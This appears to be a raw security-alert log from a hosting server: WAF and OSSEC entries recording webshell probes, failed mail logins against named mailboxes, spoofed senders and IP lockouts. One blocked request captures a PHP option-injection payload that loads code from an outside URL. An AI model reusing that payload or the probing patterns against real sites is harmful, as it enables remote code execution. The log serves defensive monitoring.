IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/c-bible/images/index.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.188.181.230
country_id: 337996
description:
2026-01-13 02:38:42 H=([196.188.181.230]) [196.188.181.230]:29059 F=<admin@tradingview.com> rejected RCPT <shihui@pftfood.com>: SPF: 196.188.181.230 is not allowed to send mail from tradingview.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.98.71.228
country_id: 690791
description:
2026-01-13 02:39:28 H=([176.98.71.228]) [176.98.71.228]:21131 F=<tang@pftfood.com> rejected RCPT <tang@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.98.71.228
country_id: 690791
description:
2026-01-13 02:40:16 H=([176.98.71.228]) [176.98.71.228]:21538 F=<tang@pftfood.com> rejected RCPT <tang@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 176.98.71.228
country_id: 690791
description:
2026-01-13 02:41:38 H=([176.98.71.228]) [176.98.71.228]:21567 F=<tang@pftfood.com> rejected RCPT <tang@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 02:46:04 H=(localhost.localdomain) [78.153.140.207]:54198 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 02:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58604: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 02:51:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58605: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/img/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/home/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.92.6.42
country_id: 2542007
description:
2026-01-13 02:56:39 H=([196.92.6.42]) [196.92.6.42]:30930 F=<2096logoutfasya@pftfood.com> rejected RCPT <2096logoutfasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.92.6.42
country_id: 2542007
description:
2026-01-13 02:57:20 H=([196.92.6.42]) [196.92.6.42]:31284 F=<2096logoutfasya@pftfood.com> rejected RCPT <2096logoutfasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 8.208.10.94
country_id: 2635167
description:
2026-01-13  2:57:36 2489798 [Warning] Aborted connection 2489798 to db: 'unconnected' user: 'unauthenticated' host: '8.208.10.94' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.92.6.42
country_id: 2542007
description:
2026-01-13 02:58:43 H=([196.92.6.42]) [196.92.6.42]:31296 F=<2096logoutfasya@pftfood.com> rejected RCPT <2096logoutfasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.10
country_id: 3469034
description:
Jan 13 02:58:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.147.110
country_id: 1733045
description:
Jan 13 02:59:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.147.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.217
country_id: 6252001
description:
Jan 13 02:59:27 sv3 pure-ftpd[3751866]: (?@198.235.24.217) [INFO] New connection from 198.235.24.217


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.110
country_id: 1733045
description:
2026-01-13 02:59:38 dovecot_login authenticator failed for H=([49.124.147.110]) [49.124.147.110]:34648: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.205.24.136
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/lamp/10/442/1058665 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/druma_photos/video.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.214.3.253
country_id: 3175395
description:
Jan 13 03:08:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.214.3.253 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.71
country_id: 6252001
description:
2026-01-13  3:08:45 2490250 [Warning] Aborted connection 2490250 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.71' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.180.166.214
country_id: 1814991
description:
Jan 13 03:09:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.180.166.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.166.214
country_id: 1814991
description:
2026-01-13 03:09:57 dovecot_login authenticator failed for H=([220.180.166.214]) [220.180.166.214]:59222: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.218.195.26
country_id: 1814991
description:
Jan 13 03:10:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.218.195.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.218.195.26
country_id: 1814991
description:
2026-01-13 03:10:24 dovecot_login authenticator failed for H=([58.218.195.26]) [58.218.195.26]:58603: 535 Incorrect authentication data (set_id=safuddin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 03:12:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.19.23
country_id: 953987
description:
Jan 13 03:13:55 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.19.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.79.19.23
country_id: 953987
description:
Jan 13 03:14:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.79.19.23 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/images/team.php||SC:/home/indfinitydesign/public_html/img/photos/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 03:17:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/photos/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 03:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58642: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 03:19:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58643: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 39.108.80.57
country_id: 1814991
domain: dsc-expat.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:03-20.39.108.80.57||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.165.109.7
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/RequestMatcher.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.51.63.160
country_id: 2542007
description:
2026-01-13 03:25:29 H=([102.51.63.160]) [102.51.63.160]:32233 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.51.63.160
country_id: 2542007
description:
2026-01-13 03:26:18 H=([102.51.63.160]) [102.51.63.160]:32684 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.51.63.160
country_id: 2542007
description:
2026-01-13 03:27:40 H=([102.51.63.160]) [102.51.63.160]:33444 F=<francis@aire-fresh.com> rejected RCPT <francis@aire-fresh.com>: smtp auth required


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 180.76.30.56
country_id: 1814991
domain: www.fkr.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/121.0.6144.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.19
country_id: 2510769
description:
Jan 13 03:33:48 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/img/photos/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/m.me/images/home/csr.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.124.72.241
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/from/15/31/1523615 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.223.217
country_id: 3865483
description:
Jan 13 03:43:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.223.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.223.217
country_id: 3865483
description:
Jan 13 03:43:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.223.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.203
country_id: 732800
description:
Jan 13 03:46:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.203
country_id: 732800
description:
Jan 13 03:46:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.203 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 03:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58663: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 03:47:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58664: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.17
country_id: 2510769
description:
Jan 13 03:48:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/images/sliders/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.41.22.209
country_id: 3625428
domain: www.euratech.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.euratech.com.my/products_ABS.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77625153
name: IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)
abuser: 168.138.173.243
country_id: 1880251
domain: agpc.org.my
description:
IM360 WAF:Object Injection in PHPMailer library in WordPress 3.7 to 5.7.1 (CVE-2020-36326)||Action:||MV:-dsafe_mode=off -ddisable_functions=null -dallow_url_fopen=on -dallow_url_include=on -dauto_prepend_file=http://happymatures.com/chm/000/003/002/amax.txt||MVN:MATCHED_VAR||WPU:||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 78.47.53.154
country_id: 2921044
domain: krisfood.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.96.58.221
country_id: 798549
description:
2026-01-13 03:56:57 H=([109.96.58.221]) [109.96.58.221]:15134 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.252.120.5
country_id: 1210997
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/maalloys.com.my/capability.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/maalloys.com.my/css/main.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.195.215.41
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-01.185.195.215.41||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.253.129
country_id: 3865483
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/2259631427.jpg&size=1000x1000 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.25.122.111
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/diff/src/Line.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 91.230.168.204
country_id: 6252001
description:
Jan 13 04:05:30 sv3 pure-ftpd[3795395]: (?@91.230.168.204) [INFO] New connection from 91.230.168.204


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 91.230.168.202
country_id: 6252001
description:
Jan 13 04:05:30 sv3 pure-ftpd[3795399]: (?@91.230.168.202) [INFO] New connection from 91.230.168.202


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.37.179.158
country_id: 2017370
description:
Jan 13 04:07:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.37.179.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.37.179.158
country_id: 2017370
description:
2026-01-13 04:07:04 dovecot_login authenticator failed for H=broadband-77-37-179-158.ip.moscow.rt.ru [77.37.179.158]:57308: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.68.235.8
country_id: 1327865
description:
Jan 13 04:09:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.68.235.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.235.8
country_id: 1327865
description:
2026-01-13 04:09:48 dovecot_login authenticator failed for H=([103.68.235.8]) [103.68.235.8]:39787: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.20.67.98
country_id: 783754
description:
Jan 13 04:12:19 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.20.67.98 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.46
country_id: 3469034
description:
Jan 13 04:12:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.251.222
country_id: 3469034
description:
Jan 13 04:13:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.251.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.78.54.29
country_id: 6254930
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/vlucas/phpdotenv/src/Parser.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 04:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58685: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 04:15:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58686: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 132.147.119.254
country_id: 1880251
description:
2026-01-13 04:17:01 H=([132.147.119.254]) [132.147.119.254]:54671 F=<inf@aire-fresh.com> rejected RCPT <inf@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 132.147.119.254
country_id: 1880251
description:
2026-01-13 04:17:42 H=([132.147.119.254]) [132.147.119.254]:55892 F=<inf@aire-fresh.com> rejected RCPT <inf@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.166.5.46
country_id: 3469034
description:
2026-01-13 04:17:48 H=([45.166.5.44]) [45.166.5.46]:34488 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 132.147.119.254
country_id: 1880251
description:
2026-01-13 04:18:22 H=([132.147.119.254]) [132.147.119.254]:3382 F=<inf@aire-fresh.com> rejected RCPT <inf@aire-fresh.com>: smtp auth required


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.166.5.46
country_id: 3469034
description:
2026-01-13 04:18:30 H=([45.166.5.44]) [45.166.5.46]:35000 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 178.198.226.47
country_id: 2658434
domain: masaakisb.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw\t||User:masaakisb||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.166.5.46
country_id: 3469034
description:
2026-01-13 04:19:12 H=([45.166.5.44]) [45.166.5.46]:35012 F=<inf@pftfood.com> rejected RCPT <inf@pftfood.com>: smtp auth required


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/m.me/images/csr.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.131
country_id: 298795
description:
Jan 13 04:23:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.131 has been locked due to Imunify RBL


plugin: ossec
